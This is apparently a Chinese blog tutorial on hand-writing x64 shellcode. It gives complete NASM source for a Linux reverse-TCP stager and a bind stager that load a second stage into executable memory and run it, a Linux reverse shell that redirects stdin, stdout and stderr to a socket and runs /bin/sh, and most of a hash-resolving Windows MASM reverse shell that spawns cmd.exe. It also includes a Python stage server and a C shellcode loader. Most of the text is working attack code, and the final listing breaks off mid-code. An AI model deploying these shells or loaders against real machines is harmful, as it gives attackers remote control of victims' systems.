当前位置: 首页 > web >正文

Linux Shellcode开发(Stager Reverse Shell)

一、环境准备

1.1 工具安装

在linux系统下有几个工具做的很好,比如说pwndbg和GDB Dashboard等GDB 增强工具,但是我就是喜欢用vscode将所有功能集成到一起。对于一个非开发出生的半路型网安业余选手,不能像各位大佬一样直接熟练地运用GDB 命令行调式程序,调试工具对非开发背景的人来说确实有一定门槛,但通过 VS Code 的图形化界面 也能轻松上手。

我看到网上有很多介绍linux x86 shellcode的实现,所以本文只探究x64 shellcode的实现。

首先在kali安装vscode,参考文章:[1] 和[2]

然后呢,我再安装中文插件,虽然能看懂英文,但毕竟不是母语,老是需要在脑中翻译成中文太累了。

安装C/C++扩展,这个是用来调式程序的

我习惯于在调式程序的时候查看内存的情况,特别是堆栈的情况。在网上找资料的时候发现了一个很好用的插件:MemoryView

效果如下图所示

x86 and x86-64 Assembly 是 VS Code 的一款汇编语言插件,支持语法高亮、代码补全

kali默认安装了GDB调式工具,可以用命令查看一下 gdb -version

kali也默认安装了nasm,用命令查看一下:nasm -v

1.2 运行配置

首先创建一个工作目录,随后用vscode打开,然后在工作目录添加一个hello.asm文件

hello.asm代码如下

[BITS 64]
section .text
global _start
_start:mov rax, 1       ; sys_writemov rdi, 1       ; stdoutlea rsi, [rel msg]mov rdx, lensyscallmov rax, 60      ; sys_exitxor rdi, rdisyscallmsg: db "Hello, Oneday!", 0
len equ $ - msg

配置task.json

  • 按 Ctrl+Shift+P 弹出命令面板
  • 输入 tasks
  • 选择 Tasks: Configure Task... 来针对特定任务进行配置

使用模板创建tasks.json 文件

随便选一个模板

然后用下面的json代码覆盖原有的代码

{"version": "2.0.0","tasks": [{"label": "nasm-build","type": "shell","command": "bash","args": ["-c","rm -f *.o && nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o && ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o && rm -f ${fileDirname}/${fileBasenameNoExtension}.o"],"group": { "kind": "build", "isDefault": true },"options": {"cwd": "${workspaceFolder}"}}]
}

  • rm -f *.o:表示删除当前工作目录下的所有的*.o文件
  • nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o:将汇编源代码文件(.asm)编译生成一个带调试信息的 64 位 ELF 格式目标文件(.o)
  • ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o:将汇编生成的 .o 目标文件链接成最终的可执行文件
  • rm -f ${fileDirname}/${fileBasenameNoExtension}.o:再次删除当前工作目录下的*.o文件,确保没有中间产物

一切准备就绪后,我们来到hello.asm界面,按住快捷键:crtl+shift+B 进行快速构建,如果一切顺利,会在当前工作目录下生成一个hello.elf文件

我们运行一下这个hello.elf,在终端输入:./hello

当然编写程序少不了调式环节,我们在.vscode目录下新建一个 lanuch.json 文件,将下面的代码复制到 lanuch.json 文件中。这个代码主要功能就是在当前工作目录中寻找目标程序 (由 ${fileDirname}/${fileBasenameNoExtension} 指定)并进行调试。具体配置就用ai来解释吧。

{"version": "0.2.0","configurations": [{"name": "Debug Assembly","type": "cppdbg","request": "launch","program": "${fileDirname}/${fileBasenameNoExtension}","stopAtEntry": true,"cwd": "${workspaceFolder}","MIMode": "gdb","miDebuggerPath": "/usr/bin/gdb","setupCommands":  [{ "text": "-gdb-set disassembly-flavor intel" }],"preLaunchTask": "nasm-build"}]
}

正常来说vscode只允许特定的文件下断点,为了给我们的asm文件下断点,就需要在设置->调式->勾选Allow Breakpoints Everywhere,这样我们就可以下断点啦。

一切准备就绪后,我们来到hello.asm界面,在 mov rax, 1 ; sys_write 处下一个断点,按住快捷键:F5进行快速调式,如果一切顺利,程序会停在断点处,我们可以查看寄存器的值,也可以查看内存的情况。

二、stager(反向TCP)

Shellcode 的实现通常依赖于系统调用(syscall),因为系统调用是用户空间程序与内核交互的唯一方式并且Shellcode通常需要独立运行,不能假设目标环境中存在 libc 或其他库。系统调用本质上是运行在内核态的特殊函数,windows上也有系统调用,而且从windows系统调用也延伸出重要的防御规避技术。

2.1 调用约定

在 Linux x86-64 架构下,系统调用(syscall)的参数传递遵循 System V AMD64 ABI[3]调用约定,与用户态函数调用(如 libc 函数)的传参方式一致。

前六个参数从左至右依次存放于 RDI,RSI,RDX,RCX,R8,R9 寄存器里面,剩下的参数通过栈传递,从右至左顺序入栈;

注意

  1. 系统调用号保存在 rax 中。
  2. syscall 指令会覆盖 rcx,因此不能直接用 rcx 传参,而应该使用 R10 来替代 RCX
  3. 因为我们使用的是syscall指令,不用关注rsp对齐,但是使用call调用函数之前,rsp必需对齐!
  4. syscall返回结果如果是负数则表示发生了错误,其值表示错误码的类型

总结:在linux shellcode编程中,我们应该使用 RDI,RSI,RDX,R10,R8,R9,来传递前六个参数。

2.2 分段编写

代码参考msf的源码[4],系统调用原型参考linux的源码[5]

(1) 调用socket

push 0x29                       ; syscall number for socket
pop rax                           ; rax = 0x29
push 2                     
pop rdi                            ; rdi = 2
push 1                        
pop rsi                            ; rsi = 1
xor rdx, rdx                    ; rdx = 0
syscall
test rax, rax                    ; 错误检查
js failure                        ; 如果为负数,则失败
push rax                        ; 保存 socket 句柄到栈上,以备后续使用

  1. 可以看到代码中,使用push-pop来设置寄存器的值,理由:①避免00截断(此项可忽略?我看msf生成的shellcode也有00字节);②减少shellcode体积,一般情况下push-pop比mov指令少几个字节。

  1. 需要用 rax 来设置系统调用号,系统调用号参考linux的源码中的 syscall_32.tbl或者syscall_64.tbl[6]
  1. js 用于检查符号标志位(SF),判断结果是否为负数。在linux系统中,当程序通过 syscall 调用内核功能时正数或零:表示成功;负数:表示错误,代表着对于的错误码。

(2) 调用connect

xchg rax, rdi                  ; rdi = Socket 文件描述符
mov rsi, 0x0101A8C05C110002 ; 192.168.1.1:4444, AF_INET
push rsi                         ; 将sockaddr_in 结构体保存到栈上
mov rsi, rsp                   ; rsi = 指向 sockaddr_in 结构体的指针
push 16                     
pop rdx                         ; rdx = 16(结构体大小)
push 0x2a               
pop rax                         ; syscall number for connect
syscall                     
test rax, rax                  ; 错误检查
js failure                      ; 如果为负数,则失败

看过我前几篇文章或者有关网络编程相关基础的师傅肯定对 sockaddr_in 这个结构体不陌生,我再简单的说明一下这条指令
mov r12,0101A8C05C110002h,其实重点还是 sockaddr_in 结构体如何构造

  • 0101A8C0: C0=192, A8=168, 01=1, 01=1,即ip=192.168.1.1
  • 5C11(大端序):端口4444
  • 0002 :表示AF_INET(IPv4)

为什么结构体大小是16呢?我们不是只设置了8个字节(0101A8C05C110002h),还有一个字段是 char sin_zero[8]; ,必须填充为0,不必显式填充

(3)调用mmap分配一个可执行的缓冲区

push 0x9
pop rax                        ; syscall number for mmap
xor rdi, rdi                   ; rdi = 0
push 0x2000
pop rsi                        ; rsi = 0x2000
push 7            
pop rdx                       ; rdx = 7
push 0x22
pop r10                       ; r10 = 0x22
xor r9, r9                     ; r9 = 0
syscall                     
test rax, rax                 ; 错误检查
js failure                     ; 如果为负数,则失败

  • rdi:addr,映射的起始地址,通常为 0 表示由内核自动选择。
  • rsi:length,映射区域的大小,我设置为0x2000,这个主要是根据stage的大小来设置的。
  • rdx:prot,内存保护标志,我设置为 7 表示内存保护标志的组合,即 PROT_READ(1) | PROT_WRITE(2) | PROT_EXEC(4) =111(2进制)。
  • r10:flags,映射类型和选项,即 MAP_PRIVATE(0x02) | MAP_ANONYMOUS(0x20) =0x22。
  • r8:fd,文件描述符,当 flags 包含 MAP_ANONYMOUS 时,fd 参数会被忽略(通常设为 -1 或 0),故不显式设置
  • r9:offset文件偏移量,匿名映射时为 0。

(4)传输stage

read_pre:pop rcx                       ; clearpop rdi                        ; rdi = socket 句柄xchg rax, r15              ; r15 = 缓冲区的基址push 0                     pop rax                        ; syscall number for readread:mov rsi, r15                 ; rsi = 当前缓冲区指针mov rdx, 0x2000              ; rdx = 0x2000,即读取0x2000字节的数据syscalltest rax,raxjs  failure

关键代码解释

  1. pop rcx:清除之前保存在栈上的sockaddr_in结构体
  2. pop rdi:获取在第一步 调用socket 中保存的socket 句柄
  3. mov rdx, 0x2000 一次性读取完stage,并不能分段读取socket中的数据(可能是我水平有限,等我再研究研究o.0? :)

2.3 测试

首先,我们将 1.2 运行配置 中的hello.asm制作成bin文件,可以用010 editor,也可以用nasm,下面我将介绍使用nasm将单个asm文件生成bin文件。

nasm -f bin hello.asm -o hello.bin

然后,我们将hello.bin文件放置到python启动的服务器上,代码如下。运行该脚本,服务器会监听自己的4444端口,等待客户端连接

import socket
import threadingIP = '0.0.0.0'
PORT = 4444  # 修改为4444端口
SHELLCODE_FILE = 'hello.bin'  # 要传输的shellcode文件def main():server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((IP, PORT))server.listen(5)print(f'[*] Listening on {IP}:{PORT}')while True:client, address = server.accept()print(f'[*] Accepted connection from {address[0]}:{address[1]}')client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()def handle_client(client_socket):try:# 读取shellcode文件with open(SHELLCODE_FILE, 'rb') as f:shellcode = f.read()# 发送shellcode给客户端client_socket.sendall(shellcode)print(f'[*] Sent {len(shellcode)} bytes of shellcode')except FileNotFoundError:print(f'[!] Error: {SHELLCODE_FILE} not found')client_socket.sendall(b'Error: Shellcode file not found')except Exception as e:print(f'[!] Error: {str(e)}')finally:client_socket.close()if __name__ == '__main__':main()

mov rdx, 0x2000 下一个断点,读取数据前的效果如下

执行完syscall指令后,可以看到我们的stage已经在缓冲区了

我们直接执行shellcode.elf,而非调式,效果如下图所示

我们换ubuntu系统来执行shellcode.elf

接下来我们根据shellcode.asm直接生成shellcode.bin

nasm -f bin shellcode.asm -o shellcode.bin

一个简单的linux c语言shellcode加载器

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>// 读取二进制文件到内存
unsigned char* read_binary_file(const char* filename, size_t* size) {FILE* file = fopen(filename, "rb");if (!file) {perror("fopen failed");return NULL;}// 获取文件大小fseek(file, 0, SEEK_END);*size = ftell(file);fseek(file, 0, SEEK_SET);// 分配内存unsigned char* buffer = (unsigned char*)malloc(*size);if (!buffer) {perror("malloc failed");fclose(file);return NULL;}// 读取文件内容if (fread(buffer, 1, *size, file) != *size) {perror("fread failed");free(buffer);fclose(file);return NULL;}fclose(file);return buffer;
}int main() {size_t size;unsigned char* shellcode = read_binary_file("shellcode.bin", &size);if (!shellcode) {return 1;}// 分配可执行内存 (使用 mmap)void* exec_mem = mmap(NULL,size,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);if (exec_mem == MAP_FAILED) {perror("mmap failed");free(shellcode);return 1;}// 复制 Shellcode 到可执行内存memcpy(exec_mem, shellcode, size);free(shellcode); // 释放原始内存// 强制转换为函数指针并执行void (*func)() = (void(*)())exec_mem;func();// 释放可执行内存 (可选,如果 Shellcode 不退出程序)munmap(exec_mem, size);return 0;
}

编译成可执行程序

gcc -o shellcode_loader ./shellcode_loader.c

执行shellcode_loader(确保shellcode.bin与shellcode_loader处在同一目录)

chmod +x ./shellcode_loader./shellcode_loader

2.4 完整代码

[BITS 64]section .text
global _start
_start:; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP)push 0x29                       ; syscall number for socketpop rax                           ; rax = 0x29push 2                     pop rdi                            ; rdi = 2push 1                        pop rsi                            ; rsi = 1xor rdx, rdx                    ; rdx = 0syscalltest rax, rax                    ; 错误检查js failure                        ; 如果为负数,则失败push rax                        ; 保存 socket 句柄到栈上,以备后续使用; 2. connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)xchg rax, rdi                  ; rdi = Socket 文件描述符mov rsi, 0x0101A8C05C110002 ; 192.168.1.1:4444, AF_INETpush rsi                         ; 将sockaddr_in 结构体保存到栈上mov rsi, rsp                   ; rsi = 指向 sockaddr_in 结构体的指针push 16                     pop rdx                         ; rdx = 16(结构体大小)push 0x2a               pop rax                         ; syscall number for connectsyscall                     test rax, rax                  ; 错误检查js failure                      ; 如果为负数,则失败; 3.  mmap(NULL, 8192, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)push 0x9pop rax                        ; syscall number for mmapxor rdi, rdi                   ; rdi = 0push 0x2000pop rsi                        ; rsi = 0x2000push 7            pop rdx                       ; rdx = 7push 0x22pop r10                       ; r10 = 0x22xor r9, r9                     ; r9 = 0syscall                     test rax, rax                 ; 错误检查js failure                     ; 如果为负数,则失败; 4. 传输 stage
read_pre:pop rcx                       ; clearpop rdi                        ; rdi = socket 句柄xchg rax, r15              ; r15 = 缓冲区的基址push 0                     pop rax                        ; syscall number for readread:mov rsi, r15                 ; rsi = 当前缓冲区指针mov rdx, 0x2000              ; rdx = 8192 ,一次读取 8192 个字节的数据syscalltest rax,raxjs  failureexec:jmp r15                    ; 跳转执行 stagefailure:push 0x3c                  pop rax                    ; syscall number for exitpush 1                     pop rdi                    ; rdi = 1,即退出返回 1syscall

三、stager(正向TCP)

正向TCP应该没什么好讲的了,实在是写不出新花样了,看注释应该能明白吧?无非就是socket+bind+listen+accept+read。

3.1 完整代码

[BITS 64]
section .text
global _start
_start:; ================ 1. 创建Socket ================; sys_socket(domain=AF_INET, type=SOCK_STREAM, protocol=IPPROTO_TCP)push 0x29       ; 系统调用号41(十进制)pop rax         ; 加载socket系统调用号push 2          ; AF_INET(IPv4协议族)pop rdi         ; rdi = domain参数push 1          ; SOCK_STREAM(面向连接的TCP套接字)pop rsi         ; rsi = type参数xor rdx, rdx    ; rdx = 0(自动选择协议,此处实际为IPPROTO_TCP)syscalltest rax, rax   ; 检查返回值(负数表示错误)js failure      ; 错误时跳转到failure标签push rax        ; 保存socket文件描述符到栈; ================ 2. 绑定端口 ================xchg rax, rdi   ; rdi = socket文件描述符mov rsi, 0x000000005C110002 ; sockaddr_in结构体:; sin_family=0x0002(AF_INET); sin_port=0x5C11(网络字节序的4444端口); sin_addr=0x00000000(INADDR_ANY)push rsi        ; 将地址结构压栈mov rsi, rsp    ; rsi指向栈上的sockaddr结构体push 16         ; sockaddr结构体长度(16字节)pop rdx         ; rdx = addrlen参数push 49         ; sys_bind系统调用号pop raxsyscalltest rax, raxjs failure; ================ 3. 监听连接 ================mov rdi, [rsp+8] ; 从栈中恢复socket文件描述符push 128         ; backlog参数(最大挂起连接数)pop rsipush 50          ; sys_listen系统调用号pop raxsyscalltest rax, raxjs failure; ================ 4. 接受连接 ================mov rdi, [rsp+8] ; socket文件描述符xor rsi, rsi    ; 不保存客户端地址(NULL)xor rdx, rdx    ; 地址长度指针为NULLpush 43         ; sys_accept系统调用号pop raxsyscalltest rax, raxjs failurexchg r14, rax   ; 将新连接的文件描述符存入r14; ================ 5. 清理旧socket ================push rdi        ; 清理栈上的地址结构push rdi        ; 关闭监听socketpush 3          ; sys_close系统调用号pop raxsyscalltest rax, raxjs failure; ================ 6. 创建内存映射 ================push 0x9        ; sys_mmap系统调用号pop raxxor rdi, rdi    ; 地址由内核选择(NULL)push 0x2000     ; 映射大小8192字节pop rsipush 7          ; PROT_READ|PROT_WRITE|PROT_EXECpop rdxpush 0x22       ; MAP_PRIVATE|MAP_ANONYMOUSpop r10xor r9, r9      ; 文件描述符=0,偏移量=0syscalltest rax, raxjs failurexchg r15, rax   ; 将映射地址存入r15; ================ 7. 接收Shellcode ================
read_pre:xchg rdi, r14   ; rdi = 连接socket文件描述符
read:mov rsi, r15    ; rsi指向映射内存mov rdx, 0x2000 ; 最大读取长度xor rax, rax    ; sys_read系统调用号syscalltest rax, raxjs failureexec:jmp r15         ; 执行接收到的Shellcodefailure:push 0x3c       ; sys_exit系统调用号pop raxpush 1          ; 退出状态码=1pop rdisyscall

3.2 测试

我们来到shellcode.asm界面,按快捷键 ctrl+shift+B 进行快速构建,构建完后,我们执行shellcode.elf

./shellcode

此时程序阻塞,等待连接

python客户端的代码如下,此处是客户端发送hello.bin的数据给服务器(shellcode.asm)

import socket# 配置目标地址和端口
HOST = '192.168.1.32'
PORT = 4444
FILE_PATH = 'hello.bin'  # 要读取的二进制文件路径try:# 从本地读取二进制文件with open(FILE_PATH, 'rb') as file:MESSAGE = file.read()  # 读取全部字节内容print(f"Loaded {len(MESSAGE)} bytes from {FILE_PATH}")# 创建 TCP Socket 对象with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:# 连接到目标地址和端口s.connect((HOST, PORT))print(f"Connected to {HOST}:{PORT}")# 发送文件内容s.sendall(MESSAGE)print(f"Sent {len(MESSAGE)} bytes to server")
except FileNotFoundError:print(f"Error: File {FILE_PATH} not found")
except ConnectionRefusedError:print(f"Connection to {HOST}:{PORT} refused. Is the server running?")
except Exception as e:print(f"Error: {str(e)}")

换ubuntu来测试

四、Linux Reverse Shell

在Linux中,反弹Shell(Reverse Shell)是一种常见的技术,通常用于合法渗透测试、远程管理。在这里我将尝试实现反弹shell的shellcode[7]。

4.1 值得关注的点

反弹shell的shellcode的方式有多种,我就介绍最常用也最通用的一种方式:通过socket+connect+dup2+execve的系统调用组合

dup2 是一个非常重要的系统调用,常用于 Shellcode 中实现文件描述符的重定向,特别是在反弹 Shell 场景中用于将标准输入(0)、输出(1)和错误(2)重定向到网络套接字。原型如下

int dup2(int oldfd, int newfd);

当建立一个反弹Shell时,我们需要让远程连接的套接字完全替代标准I/O:

  • 标准输入(stdin, 0):接收攻击者输入的命令
  • 标准输出(stdout, 1):发送命令输出结果给攻击者
  • 标准错误(stderr, 2):发送错误信息给攻击者

没有重定向:

攻击者输入 -> [网络套接字] -> shell进程
shell输出 -> [原终端] (攻击者看不到)

有重定向:

攻击者输入 -> [网络套接字=stdin] -> shell进程
shell输出 -> [stdout/stderr=网络套接字] -> 攻击者

execve系统调用,用于指定的程序替换当前进程的内存空间。在 Shellcode 开发中,execve 常用于启动 shell(如 /bin/sh),原型如下

int execve(const char *filename, char *const argv[], char *const envp[]);

③又是字符串问题

在linux shellcode开发中,我使用 mov rdi, '/bin/sh' 来定义字符串,然后将字符串压入栈中,如下图所示

在windows上以相同的方式定义字符串,结果却入下图所示

有没有好心的大佬告知其中的缘由啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!!

4.2 测试

我的sockaddr_in设置为:0x0101A8C05C110002,即192.168.1.1:4444, AF_INET

当然也可以设置成0x0100007F5C110002,即127.0.0.1:4444, AF_INET,然后在自己的kali上测试。

4.3 完整代码

[BITS 64]          ; 指定为64位代码
section .text      ; 代码段
global _start      ; 声明入口点
_start:; ================ 1. 创建Socket ================; sys_socket(domain=AF_INET, type=SOCK_STREAM, protocol=IPPROTO_TCP)push 0x29       ; 系统调用号41(十进制)放入栈pop rax         ; 将41弹出到rax(系统调用号存放寄存器)push 2          ; AF_INET(IPv4协议族)pop rdi         ; rdi = domain参数(第一个参数)push 1          ; SOCK_STREAM(面向连接的TCP套接字)pop rsi         ; rsi = type参数(第二个参数)xor rdx, rdx    ; rdx = 0(第三个参数,自动选择协议,实际为IPPROTO_TCP)syscall         ; 执行系统调用test rax, rax   ; 检查返回值(负数表示错误)js failure      ; 如果符号位为1(负数),跳转到failure标签push rax        ; 保存socket文件描述符到栈(后续需要复用); ================ 2. 连接目标 ================; connect(3, {sa_family=AF_INET, LPORT, LHOST}, 16)xchg rax, rdi   ; 交换rax和rdi的值,现在rdi = socket fdmov rsi, 0x0100007F5C110002 ; 构造sockaddr_in结构:; 0x02 00       -> AF_INET ; 0x5C11(big)        -> 端口4444 ; 0xC0A80101    -> IP 192.168.1.1; 0x00000000    -> 填充字段push rsi        ; 将sockaddr_in结构体保存到栈上mov rsi, rsp    ; rsi = 指向栈上sockaddr_in结构体的指针push 16         ; sockaddr_in结构体大小=16字节pop rdx         ; rdx = 16(第三个参数)push 0x2a       ; connect系统调用号42pop rax         ; rax = 42syscall         ; 执行connecttest rax, rax   ; 检查返回值js failure      ; 如果连接失败跳转; ================ 3. 文件描述符重定向 ================; dup2(sockfd, 0/1/2) 将标准输入/输出/错误重定向到socketmov rdi, [rsp+8] ; 从栈上恢复socket文件描述符(注意栈变化)push 2          ; 从stderr(2)开始重定向pop rsi         ; rsi = 当前要重定向的文件描述符
loop_dup2:push 33         ; dup2系统调用号pop rax         ; rax = 33syscall         ; 执行dup2(sockfd, rsi)dec rsi         ; 递减文件描述符(下一步重定向stdout(1)然后stdin(0))test rsi, rsi   ; 检查rsi是否≥0(SF=0表示非负数)jns loop_dup2   ; 如果非负数继续循环; ================ 4. 启动shell ================; execve("/bin/sh", NULL, NULL)xor rdx, rdx    ; rdx = NULL(环境变量数组)push rdx        ; 字符串终止符mov rdi, '/bin/sh' ; 准备路径字符串push rdi        ; 将字符串压栈mov rdi, rsp    ; rdi = 字符串地址(第一个参数)xor rsi, rsi    ; rsi = NULL(argv数组)push rsi        ; argv[1] = NULLpush rdi        ; argv[0] = "/bin/sh"mov rsi, rsp    ; rsi = argv(第二个参数)push 59         ; execve系统调用号pop rax         ; rax = 59syscall         ; 执行execve; ================ 错误处理 ================
failure:push 0x3c       ; sys_exit系统调用号60pop raxpush 1          ; 退出状态码=1(表示错误)pop rdisyscall         ; 退出程序

五、Windows Reverse Shell

在网络安全探索之旅中,我偶然萌生了用汇编实现 Windows 反弹 shell 的想法,实在不想单开一篇文章,就在这里写了。反弹 shell 是一种网络攻防技术,攻击者借助此技术可在目标计算机上获取远程命令行访问权限。常见实现多基于 PowerShell,但汇编语言能深入底层,实现更隐蔽、高效的控制,刚好我这个专题或多或是涉及到汇编语言编写工具,所以Reverse Shell Shellcode孕育而生。

像Linux Reverse Shell一样,windows反弹shell的实现依赖于socket编程,刚好我在前面详细介绍过了socket编程了,咱们成热打铁,一起踏上用MASM汇编实现反弹shell的旅程吧!代码参考[8],我做了必要的修改,简化了一部分流程。

大致流程如下:

  1. 初始化Winsock库
  2. 使用WSASocketA函数创建Socket
  3. 使用connect函数连接远程主机
  4. 创建STARTUPINFOA,重定向标准输入、输出、错误到网络套接字
  5. 创建cmd进程

5.1 值得关注的点

第1到第3步我就不讲了,毕竟已经说过好多次了,咱们的重点应该放在后续重定向标准输入、输出、错误到网络套接字

(1)初始化STARTUPINFOA结构体

首先我们来看STARTUPINFOA结构体结体的定义[9]:

typedef struct _STARTUPINFOA {DWORD  cb;LPSTR  lpReserved;LPSTR  lpDesktop;LPSTR  lpTitle;DWORD  dwX;DWORD  dwY;DWORD  dwXSize;DWORD  dwYSize;DWORD  dwXCountChars;DWORD  dwYCountChars;DWORD  dwFillAttribute;DWORD  dwFlags;WORD   wShowWindow;WORD   cbReserved2;LPBYTE lpReserved2;HANDLE hStdInput;HANDLE hStdOutput;HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

这里我们只用关注以下的几个字段

  1. cb:结构体的大小(字节数),必须初始化为 sizeof(STARTUPINFOA),位于偏移0的位置
  2. dwFlags:控制哪些成员有效,常用 STARTF_USESTDHANDLES 启用标准句柄重定向,位于偏移 4+4(对齐用的)+8*3+4*7=60 的位置
  3. hStdInput:标准输出,位于偏移 4+4(对齐用的)+8*3+4*8+2*2+4(对齐用的)+8=80
  4. hStdOutput:标准输入,位于偏移 4+4(对齐用的)+8*3+4*8+2*2+4(对齐用的)+8+8=88 的位置
  5. hStdError:标准错误,位于偏移 4+4(对齐用的)+8*3+4*8+2*2+4(对齐用的)+8+8+8=96 的位置

在使用 STARTUPINFOA 结构体前必需进行初始化,下面的代码是自实现memset(&si, 0, sizeof(STARTUPINFOA))

sub rsp,68h
mov rdi, rsp
xor rax,rax
mov rcx, 68h
rep stosb

  1. sub rsp,68h:给STARTUPINFOA结构体分配sizeof(STARTUPINFOA)大小的栈空间
  2. mov rdi, rsp:将结构体起始地址存入 rdi,供 stosb 使用
  3. xor rax,rax:将 rax 清零,stosb 会写入 0
  4. mov rcx, 68h:设置循环次数(68 字节)
  5. rep stosbrep重复执行 stosb,直到 ecx 减到 0。stosb:将 al 的值(这里是 0)写入 edi 指向的内存,然后 edi 自动 +1

清零后,我们就可以设置关键字段了

mov dword ptr [rsp],68h             ; si.cb = sizeof(STARTUPINFOA)
mov dword ptr [rsp + 60], 101h     ; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov qword ptr [rsp + 80], r15       ; si.hStdInput = socket
mov qword ptr [rsp + 88], r15		; si.hStdOutput = socket
mov qword ptr [rsp + 96], r15       ; si.hStdError = socket

调式看一下清零前的栈空间,调式前请运行nc监听!在 rep stosb0 下一个断点

F11后

继续往下调式

si.cb = sizeof(STARTUPINFOA)

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW

si.hStdInput = socket,socket的句柄保存在r15中,接下来的si.hStdOutput = socket和si.hStdError = socket也是同样的方法调式。

(2)调用CreateProcessA

调用Windows API前需要传入参数,CreateProcessA函数原型[10]如下

BOOL CreateProcessA([in, optional]      LPCSTR                lpApplicationName,[in, out, optional] LPSTR                 lpCommandLine,[in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,[in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,[in]                BOOL                  bInheritHandles,[in]                DWORD                 dwCreationFlags,[in, optional]      LPVOID                lpEnvironment,[in, optional]      LPCSTR                lpCurrentDirectory,[in]                LPSTARTUPINFOA        lpStartupInfo,[out]               LPPROCESS_INFORMATION lpProcessInformation
);

其中我们需要关注的参数有

  1. lpCommandLine:若为 NULL,则从 lpCommandLine 的第一个空格分隔部分解析可执行文件名,说明我们只用指定 lpCommandLine 位“cmd.exe”即可
  2. bInheritHandles:若需跨进程通信(如管道重定向),设为 TRUE
  3. lpStartupInfoSTARTUPINFOA结构体指针
  4. lpProcessInformationPROCESS_INFORMATION 结构体指针

我们来看看用汇编如何实现CreateProcessA的参数传递

xor rbx,rbx				; 清零,后续会用到
xor rcx,rcx				; lpApplicationName
mov rdx,'exe.dmc'
push rdx
mov rdx,rsp				; "cmd.exe"字符串指针
xor r8,r8				; lpProcessAttributes
xor r9,r9				; lpThreadAttributes; 为 PROCESS_INFORMATION 分配空间
sub rsp, 32                 ; 分配32字节(PROCESS_INFORMATION=24 + 对齐8)
push rsp					; lpProcessInformation
push r12					; lpStartupInfo,
push rbx					; lpCurrentDirectory
push rbx					; lpEnvironment
push rbx					; dwCreationFlags
inc rbx
push rbx					; bInheritHandles
mov r10,5DDB71FAh			; Kernel32.dll+CreateProcessA hash
call GetProcAddressByHash

需要关注的就是为 PROCESS_INFORMATION 分配空间,执行到 sub rsp, 32 时,虽然我们的RSP已经按照16字节对齐了,但是需要分配24 字节的 PROCESS_INFORMATION ,而且后续有6次push操作,则 rsp要减去 24+6*8=50,执行到call指令时rsp以8结尾,因为不对齐的缘故,程序异常,所以要加上8字节用于对齐,最终rsp减去 `24+8(用于对齐)+6*8=56`,rsp保存16字节对齐了,即以0结尾。

调式看一下,不管对不对齐,此时的RSP必定以0结尾,首先看不对齐会怎么样。

执行完call指令后,发生异常

对齐后,执行完call指令后,没有发生异常,且rax为非0,这表明CreateProcessA 成功执行。

所以,这也是为什么windows x64 shellcode编写如此困难的原因,因为我们要时刻关注RSP对齐!

5.2 测试

win11上以exe的形式反弹shell

win11以shellcode的形式反弹shell

win10上可以正常反弹shell

win7上可以反弹shell,但是会显示"已停止工作"

5.3 完整代码

Kernel32.dll+CreateProcessA=5DDB71FAh

.codemain proc; 1. 清除方向标志并对齐栈指针,确保符合Windows x64调用约定cld												; 清除方向标志(DF=0),字符串操作向高地址进行and rsp, 0FFFFFFFFFFFFFFF0h						; 将RSP对齐到16字节边界,避免栈未对齐导致的异常; 2.加载ws2_32.dll库push 0											; 为了对齐mov r14, '23_2sw'								; 构造字符串'ws2_32\0'push r14												; 将字符串压栈,此时RSP指向"ws2_32\0"的地址mov rcx, rsp										; RCX = 字符串地址,作为LoadLibraryA的参数mov r10, 0DEC21CCDh						; kernel32.dll+LoadLibraryA的哈希值call GetProcAddressByHash; 3.调用WSAStartup函数sub rsp, 400+8									; WSAData结构体大小400字节,8个字节对齐mov r13,rsp										; R13保存WSAData结构指针mov r12,0101A8C05C110002h						; 构造sockaddr_in结构:192.168.1.1:4444, AF_INETpush r12												; 压栈保存sockaddr_in结构mov r12,rsp										; R12保存sockaddr_in结构指针mov rdx,r13										; RDX = WSAData结构指针push 0101h											; Winsock 1.1版本pop rcx												; RCX = 0101hmov r10,78A22668h							; ws2_32.dll+WSAStartup的哈希值call GetProcAddressByHashtest eax,eaxjnz failure; 4.调用WSASocketA函数mov rcx,2											; af=AF_INET (IPv4)mov rdx,1											; af=SOCK_STREAM (TCP)xor r8,r8											; protocol = 0 (默认)xor r9,r9											; lpProtocolInfo = NULLpush r9												; dwFlags = 0push r9												; g=0mov r10,5915B629h									; ws2_32.dll+WSASocketA的哈希值call GetProcAddressByHashxchg r15,rax										; 保存套接字句柄到r15,以备后续使用; 6.调用connect函数mov rcx,r15											; 套接字句柄mov rdx,r12											; sockaddr_in结构指针push 16												; sockaddr_in结构长度pop r8												; R8 = 16mov r10,0D9AB4BD8h									; ws2_32.dll+connect的哈希值call GetProcAddressByHashtest eax,eax										; 如果返回值不为零则表示错误jnz failure; 7. 清栈add rsp, ((400+8)+(5*8)+(4*32))						; 8. memset(&si, 0, sizeof(STARTUPINFOA))sub rsp,68h			; sizeof(STARTUPINFOA)mov r12,rsp         ; r12 = STARTUPINFOA指针,以备后续使用mov rdi, rsp		; rdi = STARTUPINFOA指针xor rax,rax			; 清零mov rcx, 68h		; 循环次数 = 68hrep stosb			; rep重复执行stosb,直到ecx 减到 0。; 9.设置关键字段mov dword ptr [rsp],68h             ; si.cb = sizeof(STARTUPINFOA)mov dword ptr [rsp + 60], 101h      